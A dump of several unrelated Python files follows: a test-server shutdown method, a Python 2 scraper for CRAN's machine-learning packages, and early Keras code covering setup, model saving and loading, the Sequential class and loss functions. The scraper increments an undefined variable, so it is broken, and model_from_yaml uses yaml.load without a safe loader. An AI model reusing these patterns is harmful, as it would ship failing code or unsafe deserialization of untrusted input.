    def __exit__(self, exc_type, exc_value, traceback):
        if exc_type is None:
            self.stop_event.wait(self.WAIT_EVENT_TIMEOUT)
        else:
            if self.wait_to_close_event:
                # avoid server from waiting for event timeouts
                # if an exception is found in the main thread
                self.wait_to_close_event.set()

        # ensure server thread doesn't get stuck waiting for connections
        self._close_server_sock_ignore_errors()
        self.join()
        return False # allow exceptions to propagate












#!/usr/bin/python

"""
	This script will scrape the r-project.org machine learning selection and format the packages
	in github markdown style for this awesome-machine-learning repo.
"""

from pyquery import PyQuery as pq
import urllib
import codecs

text_file = codecs.open("Packages.txt",encoding='utf-8',mode="w")
d = pq(url='http://cran.r-project.org/web/views/MachineLearning.html',opener=lambda url, **kw: urllib.urlopen(url).read())

for e in d("li").items():
	package_name = e("a").html()
	package_link = e("a")[0].attrib['href']
	if '..' in package_link:
		package_link = package_link.replace("..",'http://cran.r-project.org/web')
		dd = pq(url=package_link,opener=lambda url, **kw: urllib.urlopen(url).read())
		package_description = dd("h2").html()
		text_file.write(" [%s](%s) - %s \n" % (package_name,package_link,package_description))
		# print "* [%s](%s) - %s" % (package_name,package_link,package_description)

	index += 1






from setuptools import setup
from setuptools import find_packages


setup(name='Keras',
      version='1.0.7',
      description='Deep Learning for Python',
      author='Francois Chollet',
      author_email='francois.chollet@gmail.com',
      url='https://github.com/fchollet/keras',
      download_url='https://github.com/fchollet/keras/tarball/1.0.7',
      license='MIT',
      install_requires=['theano', 'pyyaml', 'six'],
      extras_require={
          'h5py': ['h5py'],
      },
      packages=find_packages())






from __future__ import print_function
import warnings
import copy
import json
import os
import numpy as np

from . import backend as K
from .utils.io_utils import ask_to_proceed_with_overwrite
from .engine.training import Model
from .engine.topology import get_source_inputs, Node
from .optimizers import optimizer_from_config
from .legacy.models import Graph


def save_model(model, filepath, overwrite=True):

    def get_json_type(obj):
        # if obj is a serializable Keras class instance
        # e.g. optimizer, layer
        if hasattr(obj, 'get_config'):
            return {'class_name': obj.__class__.__name__,
                    'config': obj.get_config()}

        # if obj is any numpy type
        if type(obj).__module__ == np.__name__:
            return obj.item()

        # misc functions (e.g. loss function)
        if hasattr(obj, '__call__'):
            return obj.__name__

        # if obj is a python 'type'
        if type(obj).__name__ == type.__name__:
            return obj.__name__

        raise TypeError('Not JSON Serializable:', obj)

    import h5py
    from keras import __version__ as keras_version

    # if file exists and should not be overwritten
    if not overwrite and os.path.isfile(filepath):
        proceed = ask_to_proceed_with_overwrite(filepath)
        if not proceed:
            return

    f = h5py.File(filepath, 'w')
    f.attrs['keras_version'] = str(keras_version).encode('utf8')
    f.attrs['model_config'] = json.dumps({
        'class_name': model.__class__.__name__,
        'config': model.get_config()
    }, default=get_json_type).encode('utf8')

    model_weights_group = f.create_group('model_weights')
    model.save_weights_to_hdf5_group(model_weights_group)

    if hasattr(model, 'optimizer'):
        f.attrs['training_config'] = json.dumps({
            'optimizer_config': {
                'class_name': model.optimizer.__class__.__name__,
                'config': model.optimizer.get_config()
            },
            'loss': model.loss,
            'metrics': model.metrics,
            'sample_weight_mode': model.sample_weight_mode,
            'loss_weights': model.loss_weights,
        }, default=get_json_type).encode('utf8')

        # save optimizer weights
        symbolic_weights = getattr(model.optimizer, 'weights')
        if symbolic_weights:
            optimizer_weights_group = f.create_group('optimizer_weights')
            weight_values = K.batch_get_value(symbolic_weights)
            weight_names = []
            for i, (w, val) in enumerate(zip(symbolic_weights, weight_values)):
                if hasattr(w, 'name') and w.name:
                    name = str(w.name)
                else:
                    name = 'param_' + str(i)
                weight_names.append(name.encode('utf8'))
            optimizer_weights_group.attrs['weight_names'] = weight_names
            for name, val in zip(weight_names, weight_values):
                param_dset = optimizer_weights_group.create_dataset(
                    name,
                    val.shape,
                    dtype=val.dtype)
                if not val.shape:
                    # scalar
                    param_dset[()] = val
                else:
                    param_dset[:] = val
    f.flush()
    f.close()


def load_model(filepath, custom_objects={}):

    def deserialize(obj):
        if type(obj) is list:
            deserialized = []
            for value in obj:
                if value in custom_objects:
                    deserialized.append(custom_objects[value])
                else:
                    deserialized.append(value)
            return deserialized
        if type(obj) is dict:
            deserialized = {}
            for key, value in obj.items():
                if value in custom_objects:
                    deserialized[key] = custom_objects[value]
                else:
                    deserialized[key] = value
            return deserialized
        if obj in custom_objects:
            return custom_objects[obj]
        return obj

    import h5py
    f = h5py.File(filepath, mode='r')

    # instantiate model
    model_config = f.attrs.get('model_config')
    if model_config is None:
        raise ValueError('No model found in config file.')
    model_config = json.loads(model_config.decode('utf-8'))
    model = model_from_config(model_config, custom_objects=custom_objects)

    # set weights
    model.load_weights_from_hdf5_group(f['model_weights'])

    # instantiate optimizer
    training_config = f.attrs.get('training_config')
    if training_config is None:
        warnings.warn('No training configuration found in save file: '
                      'the model was *not* compiled. Compile it manually.')
        f.close()
        return model
    training_config = json.loads(training_config.decode('utf-8'))
    optimizer_config = training_config['optimizer_config']
    optimizer = optimizer_from_config(optimizer_config)

    # recover loss functions and metrics
    loss = deserialize(training_config['loss'])
    metrics = deserialize(training_config['metrics'])
    sample_weight_mode = training_config['sample_weight_mode']
    loss_weights = training_config['loss_weights']

    # compile model
    model.compile(optimizer=optimizer,
                  loss=loss,
                  metrics=metrics,
                  loss_weights=loss_weights,
                  sample_weight_mode=sample_weight_mode)

    # set optimizer weights
    if 'optimizer_weights' in f:
        # build train function (to get weight updates)
        if model.__class__.__name__ == 'Sequential':
            model.model._make_train_function()
        else:
            model._make_train_function()
        optimizer_weights_group = f['optimizer_weights']
        optimizer_weight_names = [n.decode('utf8') for n in optimizer_weights_group.attrs['weight_names']]
        optimizer_weight_values = [optimizer_weights_group[n] for n in optimizer_weight_names]
        model.optimizer.set_weights(optimizer_weight_values)
    f.close()
    return model


def model_from_config(config, custom_objects={}):
    from keras.utils.layer_utils import layer_from_config
    if isinstance(config, list):
        raise Exception('`model_fom_config` expects a dictionary, not a list. '
                        'Maybe you meant to use `Sequential.from_config(config)`?')
    return layer_from_config(config, custom_objects=custom_objects)


def model_from_yaml(yaml_string, custom_objects={}):
    '''Parses a yaml model configuration file
    and returns a model instance.
    '''
    import yaml
    from keras.utils.layer_utils import layer_from_config
    config = yaml.load(yaml_string)
    return layer_from_config(config, custom_objects=custom_objects)


def model_from_json(json_string, custom_objects={}):
    '''Parses a JSON model configuration file
    and returns a model instance.
    '''
    import json
    from keras.utils.layer_utils import layer_from_config
    config = json.loads(json_string)
    return layer_from_config(config, custom_objects=custom_objects)


class Sequential(Model):
    '''Linear stack of layers.

    # Arguments
        layers: list of layers to add to the model.

    # Note
        The first layer passed to a Sequential model
        should have a defined input shape. What that
        means is that it should have received an `input_shape`
        or `batch_input_shape` argument,
        or for some type of layers (recurrent, Dense...)
        an `input_dim` argument.

    # Example

        ```python
            model = Sequential()
            # first layer must have a defined input shape
            model.add(Dense(32, input_dim=500))
            # afterwards, Keras does automatic shape inference
            model.add(Dense(32))

            # also possible (equivalent to the above):
            model = Sequential()
            model.add(Dense(32, input_shape=(500,)))
            model.add(Dense(32))

            # also possible (equivalent to the above):
            model = Sequential()
            # here the batch dimension is None,
            # which means any batch size will be accepted by the model.
            model.add(Dense(32, batch_input_shape=(None, 500)))
            model.add(Dense(32))
        ```
    '''
    def __init__(self, layers=[], name=None):
        self.layers = []  # stack of layers
        self.model = None  # internal Model instance
        self.inputs = []  # tensors
        self.outputs = []  # tensors (length 1)

        # model attributes
        self.inbound_nodes = []
        self.outbound_nodes = []
        self.built = False
        self._flattened_layers = None

        if not name:
            prefix = 'sequential_'
            name = prefix + str(K.get_uid(prefix))
        self.name = name

        for layer in layers:
            self.add(layer)

    def add(self, layer):
        '''Adds a layer instance on top of the layer stack.

        # Arguments
            layer: layer instance.
        '''
        if not self.outputs:
            # first layer in model: check that it is an input layer
            if len(layer.inbound_nodes) == 0:
                # create an input layer
                if not hasattr(layer, 'batch_input_shape'):
                    raise Exception('The first layer in a Sequential model must '
                                    'get an `input_shape` or '
                                    '`batch_input_shape` argument.')
                batch_input_shape = layer.batch_input_shape
                if hasattr(layer, 'input_dtype'):
                    input_dtype = layer.input_dtype
                else:
                    input_dtype = None
                layer.create_input_layer(batch_input_shape, input_dtype)

            if len(layer.inbound_nodes) != 1:
                raise Exception('A layer added to a Sequential model must '
                                'not already be connected somewhere else. '
                                'Model received layer ' + layer.name +
                                ' which has ' + str(len(layer.inbound_nodes)) +
                                ' pre-existing inbound connections.')

            if len(layer.inbound_nodes[0].output_tensors) != 1:
                raise Exception('All layers in a Sequential model '
                                'should have a single output tensor. '
                                'For multi-output layers, '
                                'use the functional API.')

            self.outputs = [layer.inbound_nodes[0].output_tensors[0]]
            self.inputs = get_source_inputs(self.outputs[0])

            # We create an input node, which we will keep updated
            # as we add more layers
            Node(outbound_layer=self,
                 inbound_layers=[],
                 node_indices=[],
                 tensor_indices=[],
                 input_tensors=self.inputs,
                 output_tensors=self.outputs,
                 # no model-level masking for now
                 input_masks=[None for _ in self.inputs],
                 output_masks=[None],
                 input_shapes=[x._keras_shape for x in self.inputs],
                 output_shapes=[self.outputs[0]._keras_shape])
        else:
            output_tensor = layer(self.outputs[0])
            if type(output_tensor) is list:
                raise Exception('All layers in a Sequential model '
                                'should have a single output tensor. '
                                'For multi-output layers, '
                                'use the functional API.')
            self.outputs = [output_tensor]
            # update self.inbound_nodes
            self.inbound_nodes[0].output_tensors = self.outputs
            self.inbound_nodes[0].output_shapes = [self.outputs[0]._keras_shape]

        self.layers.append(layer)
        self.built = False
        self._flattened_layers = None

    def pop(self):
        '''Removes the last layer in the model.
        '''
        if not self.layers:
            raise Exception('There are no layers in the model.')

        self.layers.pop()
        if not self.layers:
            self.outputs = []
            self.inbound_nodes = []
            self.outbound_nodes = []
        else:
            self.layers[-1].outbound_nodes = []
            self.outputs = [self.layers[-1].output]
            # update self.inbound_nodes
            self.inbound_nodes[0].output_tensors = self.outputs
            self.inbound_nodes[0].output_shapes = [self.outputs[0]._keras_shape]
        self.built = False
        self._flattened_layers = None

    def get_layer(self, name=None, index=None):
        '''Returns a layer based on either its name (unique)
        or its index in the graph. Indices are based on
        order of horizontal graph traversal (bottom-up).

        # Arguments
            name: string, name of layer.
            index: integer, index of layer.

        # Returns
            A layer instance.
        '''
        if not self.built:
            self.build()
        return self.model.get_layer(name, index)

    def call(self, x, mask=None):
        if not self.built:
            self.build()
        return self.model.call(x, mask)

    def build(self, input_shape=None):
        if not self.inputs or not self.outputs:
            raise Exception('Sequential model cannot be built: model is empty.'
                            ' Add some layers first.')
        # actually create the model
        self.model = Model(self.inputs, self.outputs[0], name=self.name + '_model')

        # mirror model attributes
        self.supports_masking = self.model.supports_masking
        self._output_mask_cache = self.model._output_mask_cache
        self._output_tensor_cache = self.model._output_tensor_cache
        self._output_shape_cache = self.model._output_shape_cache
        self.input_layers = self.model.input_layers
        self.input_layers_node_indices = self.model.input_layers_node_indices
        self.input_layers_tensor_indices = self.model.input_layers_tensor_indices
        self.output_layers = self.model.output_layers
        self.output_layers_node_indices = self.model.output_layers_node_indices
        self.output_layers_tensor_indices = self.model.output_layers_tensor_indices
        self.nodes_by_depth = self.model.nodes_by_depth
        self.container_nodes = self.model.container_nodes
        self.output_names = self.model.output_names
        self.input_names = self.model.input_names

        # make sure child model callbacks will call the parent Sequential model:
        self.model.callback_model = self

        self.built = True

    @property
    def uses_learning_phase(self):
        if not self.built:
            self.build()
        return self.model.uses_learning_phase

    @property
    def flattened_layers(self):
        if self._flattened_layers is not None:
            return self._flattened_layers
        layers = []
        if self.layers[0].__class__.__name__ == 'Merge':
            merge = self.layers[0]
            for layer in merge.layers:
                if hasattr(layer, 'flattened_layers'):
                    for sublayer in layer.flattened_layers:
                        if sublayer not in layers:
                            layers.append(sublayer)
                elif hasattr(layer, 'layers'):
                    for sublayer in layer.layers:
                        if sublayer not in layers:
                            layers.append(sublayer)
                else:
                    if layer not in layers:
                        layers.append(layer)
        else:
            if self.layers[0] not in layers:
                layers.append(self.layers[0])
        for layer in self.layers[1:]:
            if layer not in layers:
                layers.append(layer)
        self._flattened_layers = layers
        return layers

    def _gather_list_attr(self, attr):
        all_attrs = []
        for layer in self.flattened_layers:
            all_attrs += getattr(layer, attr, [])
        return all_attrs

    def _gather_dict_attr(self, attr):
        all_attrs = {}
        for layer in self.flattened_layers:
            layer_dict = getattr(layer, attr, {})
            all_attrs = dict(list(all_attrs.items()) +
                             list(layer_dict.items()))
        return all_attrs

    @property
    def trainable_weights(self):
        # support for legacy behavior
        return self._gather_list_attr('trainable_weights')

    @property
    def non_trainable_weights(self):
        # support for legacy behavior
        return self._gather_list_attr('non_trainable_weights')

    @property
    def updates(self):
        # support for legacy behavior
        return self._gather_list_attr('updates')

    @property
    def state_updates(self):
        # support for legacy behavior
        return self._gather_list_attr('state_updates')

    @property
    def regularizers(self):
        # support for legacy behavior
        return self._gather_list_attr('regularizers')

    @property
    def constraints(self):
        # support for legacy behavior
        return self._gather_dict_attr('constraints')

    def get_weights(self):
        '''Returns the weights of the model,
        as a flat list of Numpy arrays.
        '''
        # support for legacy behavior
        weights = []
        for layer in self.flattened_layers:
            weights += layer.get_weights()
        return weights

    def set_weights(self, weights):
        '''Sets the weights of the model.
        The `weights` argument should be a list
        of Numpy arrays with shapes and types matching
        the output of `model.get_weights()`.
        '''
        # support for legacy behavior
        for layer in self.flattened_layers:
            nb_param = len(layer.weights)
            layer.set_weights(weights[:nb_param])
            weights = weights[nb_param:]

    @property
    def validation_data(self):
        return self.model.validation_data

    @property
    def training_data(self):
        return self.model.training_data

    def compile(self, optimizer, loss,
                metrics=[],
                sample_weight_mode=None,
                **kwargs):
        '''Configures the learning process.

        # Arguments
            optimizer: str (name of optimizer) or optimizer object.
                See [optimizers](/optimizers).
            loss: str (name of objective function) or objective function.
                See [objectives](/objectives).
            metrics: list of metrics to be evaluated by the model
                during training and testing.
                Typically you will use `metrics=['accuracy']`.
            sample_weight_mode: if you need to do timestep-wise
                sample weighting (2D weights), set this to "temporal".
                "None" defaults to sample-wise weights (1D).
            kwargs: for Theano backend, these are passed into K.function.
                Ignored for Tensorflow backend.

        # Example
            ```python
                model = Sequential()
                model.add(Dense(32, input_shape=(500,)))
                model.add(Dense(10, activation='softmax'))
                model.compile(optimizer='rmsprop',
                              loss='categorical_crossentropy',
                              metrics=['accuracy'])
            ```
        '''
        # create the underlying model
        self.build()
        # legacy kwarg support
        if 'class_mode' in kwargs:
            warnings.warn('"class_mode" argument is deprecated, '
                          'please remove it.')
            kwargs.pop('class_mode')
        # call compile method of Model class
        self.model.compile(optimizer, loss,
                           metrics=metrics,
                           sample_weight_mode=sample_weight_mode,
                           **kwargs)
        self.optimizer = self.model.optimizer
        self.loss = self.model.loss
        self.loss_weights = self.model.loss_weights
        self.metrics = self.model.metrics
        self.metrics_tensors = self.model.metrics_tensors
        self.metrics_names = self.model.metrics_names
        self.sample_weight_mode = self.model.sample_weight_mode

    def fit(self, x, y, batch_size=32, nb_epoch=10, verbose=1, callbacks=[],
            validation_split=0., validation_data=None, shuffle=True,
            class_weight=None, sample_weight=None, **kwargs):
        '''Trains the model for a fixed number of epochs.

        # Arguments
            x: input data, as a Numpy array or list of Numpy arrays
                (if the model has multiple inputs).
            y: labels, as a Numpy array.
            batch_size: integer. Number of samples per gradient update.
            nb_epoch: integer, the number of epochs to train the model.
            verbose: 0 for no logging to stdout,
                1 for progress bar logging, 2 for one log line per epoch.
            callbacks: list of `keras.callbacks.Callback` instances.
                List of callbacks to apply during training.
                See [callbacks](/callbacks).
            validation_split: float (0. < x < 1).
                Fraction of the data to use as held-out validation data.
            validation_data: tuple (X, y) to be used as held-out
                validation data. Will override validation_split.
            shuffle: boolean or str (for 'batch').
                Whether to shuffle the samples at each epoch.
                'batch' is a special option for dealing with the
                limitations of HDF5 data; it shuffles in batch-sized chunks.
            class_weight: dictionary mapping classes to a weight value,
                used for scaling the loss function (during training only).
            sample_weight: Numpy array of weights for
                the training samples, used for scaling the loss function
                (during training only). You can either pass a flat (1D)
                Numpy array with the same length as the input samples
                (1:1 mapping between weights and samples),
                or in the case of temporal data,
                you can pass a 2D array with shape (samples, sequence_length),
                to apply a different weight to every timestep of every sample.
                In this case you should make sure to specify
                sample_weight_mode="temporal" in compile().

        # Returns
            A `History` object. Its `History.history` attribute is
            a record of training loss values and metrics values
            at successive epochs, as well as validation loss values
            and validation metrics values (if applicable).
        '''
        if self.model is None:
            raise Exception('The model needs to be compiled before being used.')
        if 'show_accuracy' in kwargs:
            kwargs.pop('show_accuracy')
            warnings.warn('The "show_accuracy" argument is deprecated, '
                          'instead you should pass the "accuracy" metric to '
                          'the model at compile time:\n'
                          '`model.compile(optimizer, loss, '
                          'metrics=["accuracy"])`')
        if kwargs:
            raise Exception('Received unknown keyword arguments: ' +
                            str(kwargs))
        return self.model.fit(x, y,
                              batch_size=batch_size,
                              nb_epoch=nb_epoch,
                              verbose=verbose,
                              callbacks=callbacks,
                              validation_split=validation_split,
                              validation_data=validation_data,
                              shuffle=shuffle,
                              class_weight=class_weight,
                              sample_weight=sample_weight)

    def evaluate(self, x, y, batch_size=32, verbose=1,
                 sample_weight=None, **kwargs):
        '''Computes the loss on some input data, batch by batch.

        # Arguments
            x: input data, as a Numpy array or list of Numpy arrays
                (if the model has multiple inputs).
            y: labels, as a Numpy array.
            batch_size: integer. Number of samples per gradient update.
            verbose: verbosity mode, 0 or 1.
            sample_weight: sample weights, as a Numpy array.

        # Returns
            Scalar test loss (if the model has no metrics)
            or list of scalars (if the model computes other metrics).
            The attribute `model.metrics_names` will give you
            the display labels for the scalar outputs.
        '''
        if self.model is None:
            raise Exception('The model needs to be compiled before being used.')
        if 'show_accuracy' in kwargs:
            kwargs.pop('show_accuracy')
            warnings.warn('The "show_accuracy" argument is deprecated, '
                          'instead you should pass the "accuracy" metric to '
                          'the model at compile time:\n'
                          '`model.compile(optimizer, loss, '
                          'metrics=["accuracy"])`')
        if kwargs:
            raise Exception('Received unknown keyword arguments: ' +
                            str(kwargs))
        return self.model.evaluate(x, y,
                                   batch_size=batch_size,
                                   verbose=verbose,
                                   sample_weight=sample_weight)

    def predict(self, x, batch_size=32, verbose=0):
        '''Generates output predictions for the input samples,
        processing the samples in a batched way.

        # Arguments
            x: the input data, as a Numpy array.
            batch_size: integer.
            verbose: verbosity mode, 0 or 1.

        # Returns
            A Numpy array of predictions.
        '''
        if self.model is None:
            self.build()
        return self.model.predict(x, batch_size=batch_size, verbose=verbose)

    def predict_on_batch(self, x):
        '''Returns predictions for a single batch of samples.
        '''
        if self.model is None:
            self.build()
        return self.model.predict_on_batch(x)

    def train_on_batch(self, x, y, class_weight=None,
                       sample_weight=None, **kwargs):
        '''Single gradient update over one batch of samples.

        # Arguments
            x: input data, as a Numpy array or list of Numpy arrays
                (if the model has multiple inputs).
            y: labels, as a Numpy array.
            class_weight: dictionary mapping classes to a weight value,
                used for scaling the loss function (during training only).
            sample_weight: sample weights, as a Numpy array.

        # Returns
            Scalar training loss (if the model has no metrics)
            or list of scalars (if the model computes other metrics).
            The attribute `model.metrics_names` will give you
            the display labels for the scalar outputs.
        '''
        if self.model is None:
            raise Exception('The model needs to be compiled before being used.')
        if 'accuracy' in kwargs:
            kwargs.pop('accuracy')
            warnings.warn('The "accuracy" argument is deprecated, '
                          'instead you should pass the "accuracy" metric to '
                          'the model at compile time:\n'
                          '`model.compile(optimizer, loss, '
                          'metrics=["accuracy"])`')
        if kwargs:
            raise Exception('Received unknown keyword arguments: ' +
                            str(kwargs))
        return self.model.train_on_batch(x, y,
                                         sample_weight=sample_weight,
                                         class_weight=class_weight)

    def test_on_batch(self, x, y,
                      sample_weight=None, **kwargs):
        '''Evaluates the model over a single batch of samples.

        # Arguments
            x: input data, as a Numpy array or list of Numpy arrays
                (if the model has multiple inputs).
            y: labels, as a Numpy array.
            sample_weight: sample weights, as a Numpy array.

        # Returns
            Scalar test loss (if the model has no metrics)
            or list of scalars (if the model computes other metrics).
            The attribute `model.metrics_names` will give you
            the display labels for the scalar outputs.
        '''
        if self.model is None:
            raise Exception('The model needs to be compiled before being used.')
        if 'accuracy' in kwargs:
            kwargs.pop('accuracy')
            warnings.warn('The "accuracy" argument is deprecated, '
                          'instead you should pass the "accuracy" metric to '
                          'the model at compile time:\n'
                          '`model.compile(optimizer, loss, '
                          'metrics=["accuracy"])`')
        if kwargs:
            raise Exception('Received unknown keyword arguments: ' +
                            str(kwargs))
        return self.model.test_on_batch(x, y,
                                        sample_weight=sample_weight)

    def predict_proba(self, x, batch_size=32, verbose=1):
        '''Generates class probability predictions for the input samples
        batch by batch.

        # Arguments
            x: input data, as a Numpy array or list of Numpy arrays
                (if the model has multiple inputs).
            batch_size: integer.
            verbose: verbosity mode, 0 or 1.

        # Returns
            A Numpy array of probability predictions.
        '''
        preds = self.predict(x, batch_size, verbose)
        if preds.min() < 0. or preds.max() > 1.:
            warnings.warn('Network returning invalid probability values. '
                          'The last layer might not normalize predictions '
                          'into probabilities '
                          '(like softmax or sigmoid would).')
        return preds

    def predict_classes(self, x, batch_size=32, verbose=1):
        '''Generate class predictions for the input samples
        batch by batch.

        # Arguments
            x: input data, as a Numpy array or list of Numpy arrays
                (if the model has multiple inputs).
            batch_size: integer.
            verbose: verbosity mode, 0 or 1.

        # Returns
            A numpy array of class predictions.
        '''
        proba = self.predict(x, batch_size=batch_size, verbose=verbose)
        if proba.shape[-1] > 1:
            return proba.argmax(axis=-1)
        else:
            return (proba > 0.5).astype('int32')

    def fit_generator(self, generator, samples_per_epoch, nb_epoch,
                      verbose=1, callbacks=[],
                      validation_data=None, nb_val_samples=None,
                      class_weight=None, max_q_size=10, nb_worker=1, pickle_safe=False, **kwargs):
        '''Fits the model on data generated batch-by-batch by
        a Python generator.
        The generator is run in parallel to the model, for efficiency.
        For instance, this allows you to do real-time data augmentation
        on images on CPU in parallel to training your model on GPU.

        # Arguments
            generator: a generator.
                The output of the generator must be either
                - a tuple (inputs, targets)
                - a tuple (inputs, targets, sample_weights).
                All arrays should contain the same number of samples.
                The generator is expected to loop over its data
                indefinitely. An epoch finishes when `samples_per_epoch`
                samples have been seen by the model.
            samples_per_epoch: integer, number of samples to process before
                going to the next epoch.
            nb_epoch: integer, total number of iterations on the data.
            verbose: verbosity mode, 0, 1, or 2.
            callbacks: list of callbacks to be called during training.
            validation_data: this can be either
                - a generator for the validation data
                - a tuple (inputs, targets)
                - a tuple (inputs, targets, sample_weights).
            nb_val_samples: only relevant if `validation_data` is a generator.
                number of samples to use from validation generator
                at the end of every epoch.
            class_weight: dictionary mapping class indices to a weight
                for the class.
            max_q_size: maximum size for the generator queue
            nb_worker: maximum number of processes to spin up
            pickle_safe: if True, use process based threading. Note that because
                this implementation relies on multiprocessing, you should not pass
                non picklable arguments to the generator as they can't be passed
                easily to children processes.

        # Returns
            A `History` object.

        # Example

        ```python
            def generate_arrays_from_file(path):
                while 1:
                    f = open(path)
                    for line in f:
                        # create Numpy arrays of input data
                        # and labels, from each line in the file
                        x, y = process_line(line)
                        yield (x, y)
                    f.close()

            model.fit_generator(generate_arrays_from_file('/my_file.txt'),
                                samples_per_epoch=10000, nb_epoch=10)
        ```
        '''
        if self.model is None:
            raise Exception('The model needs to be compiled before being used.')
        if nb_worker > 1 and not pickle_safe:
            warnings.warn('The "nb_worker" argument is deprecated when pickle_safe is False')
            nb_worker = 1  # For backward compatibility
        if 'show_accuracy' in kwargs:
            kwargs.pop('show_accuracy')
            warnings.warn('The "show_accuracy" argument is deprecated, '
                          'instead you should pass the "accuracy" metric to '
                          'the model at compile time:\n'
                          '`model.compile(optimizer, loss, '
                          'metrics=["accuracy"])`')
        if 'nb_val_worker' in kwargs:
            kwargs.pop('nb_val_worker')
            warnings.warn('The "nb_val_worker" argument is deprecated, '
                          'please remove it from your code.')
        if kwargs:
            raise Exception('Received unknown keyword arguments: ' +
                            str(kwargs))
        return self.model.fit_generator(generator,
                                        samples_per_epoch,
                                        nb_epoch,
                                        verbose=verbose,
                                        callbacks=callbacks,
                                        validation_data=validation_data,
                                        nb_val_samples=nb_val_samples,
                                        class_weight=class_weight,
                                        max_q_size=max_q_size,
                                        nb_worker=nb_worker,
                                        pickle_safe=pickle_safe)

    def evaluate_generator(self, generator, val_samples, max_q_size=10, nb_worker=1, pickle_safe=False, **kwargs):
        '''Evaluates the model on a data generator. The generator should
        return the same kind of data as accepted by `test_on_batch`.

        Arguments:
            generator:
                generator yielding tuples (inputs, targets)
                or (inputs, targets, sample_weights)
            val_samples:
                total number of samples to generate from `generator`
                before returning.
            max_q_size: maximum size for the generator queue
            nb_worker: maximum number of processes to spin up
            pickle_safe: if True, use process based threading. Note that because
                this implementation relies on multiprocessing, you should not pass non
                non picklable arguments to the generator as they can't be passed
                easily to children processes.
        '''
        if self.model is None:
            raise Exception('The model needs to be compiled before being used.')
        if nb_worker > 1 and not pickle_safe:
            warnings.warn('The "nb_worker" argument is deprecated when pickle_safe is False')
            nb_worker = 1  # For backward compatibility
        if 'show_accuracy' in kwargs:
            kwargs.pop('show_accuracy')
            warnings.warn('The "show_accuracy" argument is deprecated, '
                          'instead you should pass the "accuracy" metric to '
                          'the model at compile time:\n'
                          '`model.compile(optimizer, loss, '
                          'metrics=["accuracy"])`')
        if 'verbose' in kwargs:
            kwargs.pop('verbose')
            warnings.warn('The "verbose" argument is deprecated.')
        if kwargs:
            raise Exception('Received unknown keyword arguments: ' +
                            str(kwargs))
        return self.model.evaluate_generator(generator,
                                             val_samples,
                                             max_q_size=max_q_size,
                                             nb_worker=nb_worker,
                                             pickle_safe=pickle_safe)

    def predict_generator(self, generator, val_samples, max_q_size=10, nb_worker=1, pickle_safe=False):
        '''Generates predictions for the input samples from a data generator.
        The generator should return the same kind of data as accepted by
        `predict_on_batch`.

        # Arguments
            generator: generator yielding batches of input samples.
            val_samples: total number of samples to generate from `generator`
                before returning.
            max_q_size: maximum size for the generator queue
            nb_worker: maximum number of processes to spin up
            pickle_safe: if True, use process based threading. Note that because
                this implementation relies on multiprocessing, you should not pass non
                non picklable arguments to the generator as they can't be passed
                easily to children processes.

        # Returns
            A Numpy array of predictions.
        '''
        if self.model is None:
            self.build()
        if nb_worker > 1 and not pickle_safe:
            warnings.warn('The "nb_worker" argument is deprecated when pickle_safe is False')
            nb_worker = 1  # For backward compatibility
        return self.model.predict_generator(generator, val_samples,
                                            max_q_size=max_q_size,
                                            nb_worker=nb_worker,
                                            pickle_safe=pickle_safe)

    def get_config(self):
        '''Returns the model configuration
        as a Python list.
        '''
        config = []
        if self.layers[0].__class__.__name__ == 'Merge':
            assert hasattr(self.layers[0], 'layers')
            layers = []
            for layer in self.layers[0].layers:
                layer_config = {'class_name': layer.__class__.__name__,
                                'config': layer.get_config()}
                layers.append(layer_config)
            merge_config = self.layers[0].get_config()
            merge_config['layers'] = layers
            config.append({'class_name': 'Merge', 'config': merge_config})
        else:
            config.append({'class_name': self.layers[0].__class__.__name__,
                           'config': self.layers[0].get_config()})
        for layer in self.layers[1:]:
            config.append({'class_name': layer.__class__.__name__,
                           'config': layer.get_config()})
        return copy.deepcopy(config)

    @classmethod
    def from_config(cls, config, layer_cache=None):
        '''Supports legacy formats
        '''
        from keras.utils.layer_utils import layer_from_config
        from keras.layers import Merge
        assert type(config) is list

        if not layer_cache:
            layer_cache = {}

        def normalize_legacy_config(conf):
            if 'class_name' not in conf:
                class_name = conf['name']
                name = conf.get('custom_name')
                conf['name'] = name
                new_config = {
                    'class_name': class_name,
                    'config': conf,
                }
                return new_config
            return conf

        # the model we will return
        model = cls()

        def get_or_create_layer(layer_data):
            if layer_data['class_name'] == 'Sequential':
                return Sequential.from_config(layer_data['config'],
                                              layer_cache=layer_cache)
            name = layer_data['config'].get('name')
            if name in layer_cache:
                return layer_cache[name]
            layer = layer_from_config(layer_data)
            layer_cache[name] = layer
            return layer

        first_layer = config[0]
        first_layer = normalize_legacy_config(first_layer)
        if first_layer['class_name'] == 'Merge':
            merge_inputs = []
            first_layer_config = first_layer['config']
            for merge_input_config in first_layer_config.pop('layers'):
                merge_input = layer_from_config(merge_input_config)
                merge_inputs.append(merge_input)
            first_layer_config['layers'] = merge_inputs
            merge = Merge.from_config(first_layer_config)
            model.add(merge)
        else:
            layer = get_or_create_layer(first_layer)
            model.add(layer)

        for conf in config[1:]:
            conf = normalize_legacy_config(conf)
            layer = get_or_create_layer(conf)
            model.add(layer)
        return model






from __future__ import absolute_import
import numpy as np
from . import backend as K


def mean_squared_error(y_true, y_pred):
    return K.mean(K.square(y_pred - y_true), axis=-1)


def mean_absolute_error(y_true, y_pred):
    return K.mean(K.abs(y_pred - y_true), axis=-1)


def mean_absolute_percentage_error(y_true, y_pred):
    diff = K.abs((y_true - y_pred) / K.clip(K.abs(y_true), K.epsilon(), np.inf))
    return 100. * K.mean(diff, axis=-1)


def mean_squared_logarithmic_error(y_true, y_pred):
    first_log = K.log(K.clip(y_pred, K.epsilon(), np.inf) + 1.)
    second_log = K.log(K.clip(y_true, K.epsilon(), np.inf) + 1.)
    return K.mean(K.square(first_log - second_log), axis=-1)


def squared_hinge(y_true, y_pred):
    return K.mean(K.square(K.maximum(1. - y_true * y_pred, 0.)), axis=-1)


def hinge(y_true, y_pred):
    return K.mean(K.maximum(1. - y_true * y_pred, 0.), axis=-1)


def categorical_crossentropy(y_true, y_pred):
    '''Expects a binary class matrix instead of a vector of scalar classes.
    '''
    return K.categorical_crossentropy(y_pred, y_true)


def sparse_categorical_crossentropy(y_true, y_pred):
    '''expects an array of integer classes.
    Note: labels shape must have the same number of dimensions as output shape.
    If you get a shape error, add a length-1 dimension to labels.
    '''
    return K.sparse_categorical_crossentropy(y_pred, y_true)


def binary_crossentropy(y_true, y_pred):
    return K.mean(K.binary_crossentropy(y_pred, y_true), axis=-1)


